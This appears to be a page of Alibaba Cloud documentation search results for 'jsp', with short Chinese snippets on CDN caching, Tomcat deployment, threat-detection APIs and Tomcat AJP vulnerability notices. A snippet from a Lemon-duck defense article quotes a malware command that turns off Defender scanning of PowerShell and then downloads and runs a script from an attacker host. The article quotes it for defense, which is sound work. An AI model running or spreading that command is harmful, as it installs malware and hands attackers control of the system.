ModifySasContainerWebDefenseRule-修改容器防篡改...
jsp IncludeFile string 否 包含的文件。home/admin/test DefenseMode string 是 防护模式。block：阻断 audit：审计 audit ProcessPathList array 否 白名单进程列表。string 否 白名单进程列表。bin/bash PathConfId long 否 路径 ID。...
ModifyWebLockCreateConfig-为指定服务器添加防护目录
D9354C1A-D709-4873-9AAE-41513327B247 示例 正常返回示例 JSON 格式 {"RequestId":"D9354C1A-D709-4873-9AAE-41513327B247"} 错误码 HTTP status code 错误码 错误信息 描述 400 IllegalParam Illegal param 无效参数 400 ...
DescribeDisposeAndPlaybook-获取需要被处置的实体...
1 示例 正常返回示例 JSON 格式 {"Success":true,"Code":200,"Message":"success","RequestId":"9AAA9ED9-78F4-5021-86DC-D51C7511*","Data":{"PageInfo":{"CurrentPage":1,"PageSize":10,"TotalCount":100 },"ResponseData":[{"EntityId":...
线上监考
可支持单机位（如PC），也可根据需求支持双机位算法（如手机架设）。接入指引 1.注册阿里云账号：打开 阿里云官网，在阿里云官网右上角，单击 立即注册，按照操作提示完成账号注册。2.开通能力：请确保您已开通 人脸人体服务，若未开通服务...
CDN加速图文和视频类网站
如果您的网站内容以图片和文字为主，同时包含部分视频点播内容，您可以使用阿里云CDN为网站做加速，以提高用户获取资源的速度。本文介绍使用CDN加速图文和视频类网站的方法。前提条件 您已经开通了CDN服务。如果未开通，请参见 开通CDN服务...
Tomcat设置gzip压缩的方法
配置方法 Tomcat5.0以后的版本是支持对输出内容进行压缩的，使用的是gzip压缩格式。请您修改%TOMCAT_HOME%conf/server.xml 文件，在文件中的以下段落添加注释部分的条目。打开压缩功能 compressionMinSize="50"#启用压缩的输出内容大小，...
alicloud_threat_detection_web_lock_config
jsp;asp;aspx;js;cgi;html;htm;xml;shtml;shtm;jpg"uuid=data.alicloud_threat_detection_assets.default.ids.0 mode="whitelist"local_backup_dir="/usr/local/aegis/bak"dir="/tmp/"defence_mode="audit"} Argument Reference The ...
攻击告警处置
在此示例中判断在/usr/local/tomcat/webapps/upload/1.jsp路径上传的可执行文件1.jsp是否为业务的正常行为。如果是正常行为，可将Payload信息加入白名单；加入白名单后，应用防护将不会对此类正常行为产生告警。如果有非正常行为，则可能是...
CDN加速ECS资源
使用ECS作为CDN的源站，价值和优势如下：用户访问网站资源，全部通过CDN，降低源站压力。使用CDN流量，单价低于直接访问ECS产生的外网流量。从距离客户端最近的CDN节点获取资源，减少网络传输距离，保证静态资源传输质量。技术架构 当ECS...
会话保持常见问题
curl-c test.cookie http://10.170.XX.XX/check.jsp 说明 阿里云负载均衡会话保持默认模式是植入Cookie，而curl测试默认不会保存和发送Cookie，所以必须先保存相应的Cookie，用于Cookie测试。否则，curl测试结果是随机的，会误认为负载均衡...
提高CDN缓存命中率
详细日志格式，请参见 下载日志。缓存命中状态字段说明：HIT：表示命中缓存。MISS：表示未命中缓存。说明 命中状态仅表示CDN L1节点的命中状态。例如，CDN L1节点未命中缓存，L2节点命中缓存，日志中仍显示MISS。日志示例：26/Jun/2019:10:...
CDN加速OSS资源
使用OSS作为CDN的源站，价值和优势如下：用户访问网站资源，全部通过CDN，降低源站压力。使用CDN流量，单价低于直接访问OSS产生的外网流出流量。从距离客户端最近的CDN节点获取资源，减少网络传输距离，保证静态资源传输质量。技术架构 当...
恶意行为防御自定义规则最佳实践
说明 配置项支持字符串相等（例如'a'='a'）或使用*（星号）匹配任意字符串或空字符，建议您的规则配置格式为：*特征字符串*、*特征字符串、特征字符串*。配置项支持使用逻辑运算符|（或）、&（与）、!（非），例如&!特征字符串*，但不支持|...
功能特性
除了架设集群通信的“高速公路”（即RDMA高速网）外，还需要进行合理的通讯调度，避免“堵车”。阿里云通过通信库ACCL实现了GPU和网卡的智能匹配、节点内外物理拓扑自动识别及拓扑感知的无拥塞通信算法，彻底消除网络拥塞，提升网络通信...
《互联网视听节目服务管理规定》（国家广播电影电视...
利用局域网络及利用互联网架设虚拟专网向公众提供网络视听节目服务，须向行业主管部门提出申请，由国务院信息产业主管部门前置审批，国务院广播电影电视主管部门审核批准，按照国家有关规定进行监督管理。第二十九条 本规定自 2008 年 1 月...
部署方式概述
它可以托管由Servlet、JSP页面（动态内容）、HTML页面、JavaScript、样式表、图片（静态内容）组成的Java Web应用程序。您可根据实际需要，选择合适的方式进行部署。镜像部署 适用于阿里云新用户。相比其他方式，使用阿里云云市场提供的...
配置加速规则
打开 动态加速 开关，实现PHP、JSP、ASP等动态资源加速。对于图片、应用下载类型、JS、CSS等静态资源，您可以根据文件类型和更新频率设置资源的缓存过期时间，最长可以设置3年。具体操作，请参见 配置静态文件类型。文件类型 更新频率 缓存...
工作负载推荐配置
apiVersion:v1 kind:Pod metadata:name:tomcat spec:containers:name:tomcat image:tomcat livenessProbe:httpGet:path:/index.jsp port:8080 initialDelaySeconds:3 periodSeconds:3 readinessProbe:httpGet:path:/index.jsp port:8080 每...
缓存配置
对于动态文件（eg：php |jsp|asp），建议设置缓存时间为0s，即不缓存；若动态文件内容更新频率较低，例如php文件，推荐设置较短缓存时间。建议源站的内容不要使用同名更新，以版本号的方式方步，即采用img-v1.0.jpg、img-v2.1.jpg的命名...
安装Tomcat服务及Java环境
它可以托管由Servlet、JSP页面（动态内容）、HTML页面、JavaScript、样式表、图片（静态内容）组成的Java Web应用程序。您可根据实际需要，选择合适的方式进行部署。云市场镜像部署Java Web环境 手动部署Java Web环境（Alibaba Cloud Linux...
快速体验CSB
该应用内包含：RESTful：http://ip:port/jsontest.jsp，包含name、times和sleepMSeconds三个入参，返回一个JSON文件串。HSF：接口名 com.alibaba.csb.api.TestService 、方法 echo、版本号 1.0.0、服务分组 hsfdemo-test。包含一个 java....
接入 Android
index.jsp");如果是https，需要设置 HttpsURLConnection.setDefaultSSLSocketFactory(sslSocketFactory);HttpURLConnection connection=(HttpURLConnection)url.openConnection();connection.connect();使用okhttp Request request=new ...
CLB监听服务FAQ
curl-c test.cookie http://10.170.XX.XX/check.jsp 说明 阿里云负载均衡会话保持默认模式是植入Cookie，而curl测试默认不会保存和发送Cookie，所以必须先保存相应的Cookie，用于Cookie测试。否则，curl测试结果是随机的，会误认为负载均衡...
如何抓取 HTTP 报文（Mac OS/Charles）
两者的基本原理几乎一样：在本地架设一个的 HTTP Proxy，所有通过该 Proxy 的 HTTP 报文均可以被截获和解析。对于 HTTPS 协议报文的解析需要提前在客户端配置好 Charles/Fiddler 的 CA Root 证书，保证“中间人”转发的信息被客户端信任，...
alicloud_threat_detection_oss_scan_config
oss_bucket""defaulthZvCmR"{ bucket="${var.name}-4-${local.bucket_random}"storage_class="Standard"} resource"alicloud_threat_detection_oss_scan_config""default"{ key_suffix_list=[".jsp",".php",".k"]scan_day_list=["2","5","4...
如何使用CDN加速海外地区用户访问速度
对于动态文件，例如API接口、PHP、JSP等动态程序处理，最好是可以指向源站或者使用全站加速。中国香港、中国澳门、中国台湾及海外用户访问，如果您的源站部署在中国内地，必不可少的要有回源的情况发生，而回源需要经过国际长链路和运营商...
缓存配置
对于动态文件（如PHP、JSP、ASP等），建议您将缓存时间设置为0s，即不缓存。权重 缓存规则的优先级。说明 取值范围：1~99间的整数。数字越大，优先级越高，优先生效。不推荐设置相同的权重，权重相同的两条缓存策略优先级随机。某一条缓存...
【SAE安全漏洞通告及解决方案】Apache Tomcat AJP漏洞
如果目标应用支持文件上传功能，攻击者可以向服务端上传含有恶意JSP脚本代码的文件，然后利用漏洞进行文件包含，从而达到远程代码执行获取服务器权限等攻击目的。在未对外网开启AJP服务的情况下，不受漏洞影响（Tomcat默认开启AJP服务并将...
配置静态文件类型
动态文件：例如，PHP、JSP、ASP等，建议设置为0s，即不缓存。权重 权重即缓存规则的优先级。取值为1~99，数值越大优先级越高，对应规则优先生效。说明 有多条缓存规则的情况下，建议每条缓存规则都设置不同的权重，通过权重来控制规则执行...
开发运维建议
如果应用没有连接池，建议在应用层和数据库之间架设连接池，例如使用PgBouncer或者Pgpool-II作为连接池。应用连接池参数的配置建议：minimumIdle=1：控制连接池空闲连接的最小数量，减少idle connection。说明 当前大多数连接池已取消了 ...
【安全漏洞通告及解决方案】【EDAS K8s 集群】关于...
如果目标应用支持文件上传功能，攻击者可以向服务端上传含有恶意JSP脚本代码的文件，然后利用漏洞进行文件包含，从而达到远程代码执行获取服务器权限等攻击目的。攻击者通过漏洞利用AJP服务端口实现攻击，在未对外网开启AJP服务的情况下，...
CDN缓存命中率较低排查方法
检查源站动态内容是否较多，目前CDN主要是加速静态资源，例如CSS、JS、HTML、图片、TXT、视频等资源，针对动态资源PHP、JSP、包含内部逻辑处理甚至Cookie等资源都会回源数据。刷新操作频繁。CDN控制台有定时刷新功能，每次刷新都会导致所有...
手动部署Java Web环境（Alibaba Cloud Linux 2）
echo Tomcat test>/usr/local/tomcat/webapps/ROOT/index.jsp 在本地浏览器地址栏中输入 http://公网IP:8080 进行访问。返回页面如下图所示，表示安装成功。如果无法访问，请确保已在安全组中放行Tomcat默认使用的8080端口。具体操作，请...
分组检索Doc
接口定义 Java(JSP)/class DashVectorCollection/同步接口 public Response<List<Group>>queryGroupBy(QueryDocGroupByRequest queryDocGroupByRequest);异步接口 public ListenableFuture<Response<List<Group>>>queryGroupByAsync...
巴斯夫构建上云登陆区加速云转型
云服务、生态服务安全访问：当混合组网架设好以后，我们就可以有效的利用云上生态伙伴服务以及云服务，为本地数据中心做一个扩展，提供更丰富、更高可用性的应用架构。安全合规 如何安全并且合规的使用公有云平台是巴斯夫的GD部门从在阿里...
Lemon-duck在多个平台利用多种入侵方式如何一键防御
Add-MpPreference-ExclusionProcess c:windowssystem32WindowsPowerShellv1.0powershell.exe&powershell IEX(New-Object Net.WebClient).DownloadString("http://t.bb3u9.com/rdp.jsp 我们针对入侵Linux、Windows平台后的行为进行分析。...
API网关为K8s容器应用集群提供强大的接入能力
在高并发场景或者只有一个服务的场景，我们可以跳过Ingress Control，直接在服务前面架设一个内网CLB，并且将这个内网CLB授权给API网关，供API网关进行访问。5.2 Ingress Control和CLB两种方案对比 1.使用CLB+Ingress Control。Ingress ...
如何设置Content-Type（MIME）？
Content-Type（MIME）用于标识发送或接收数据的类型，浏览器根据该参数来决定数据的打开方式。Content-Type多用于指定一些客户端自定义的...jpe.jpeg image/jpeg.jpg image/jpeg.jpg application/x-jpg.js application/x-javascript.jsp text/...
无代理检测
支持检测的语言包括PHP、JSP、ASP、ASPX等。恶意软件 检查资产中的二进制类型文件是否是恶意的，是否存在对资产造成破坏、持久化控制的能力。攻击者植入恶意二进制文件后，可以控制服务器，用于挖矿、DDoS攻击，或者加密资产文件等。恶意...
缓存相关常见问题
地址：填写您不想缓存的具体资源路径或文件名后缀，例如，需要设置 php,jsp,asp 类型的动态文件和 admin 目录下的所有文件不缓存。过期时间：将过期时间设置为“0”，表示不缓存该类型的资源。权重：可按照需要调整权重值，权重越高，在...
- 产品推荐
- 这些文档可能帮助您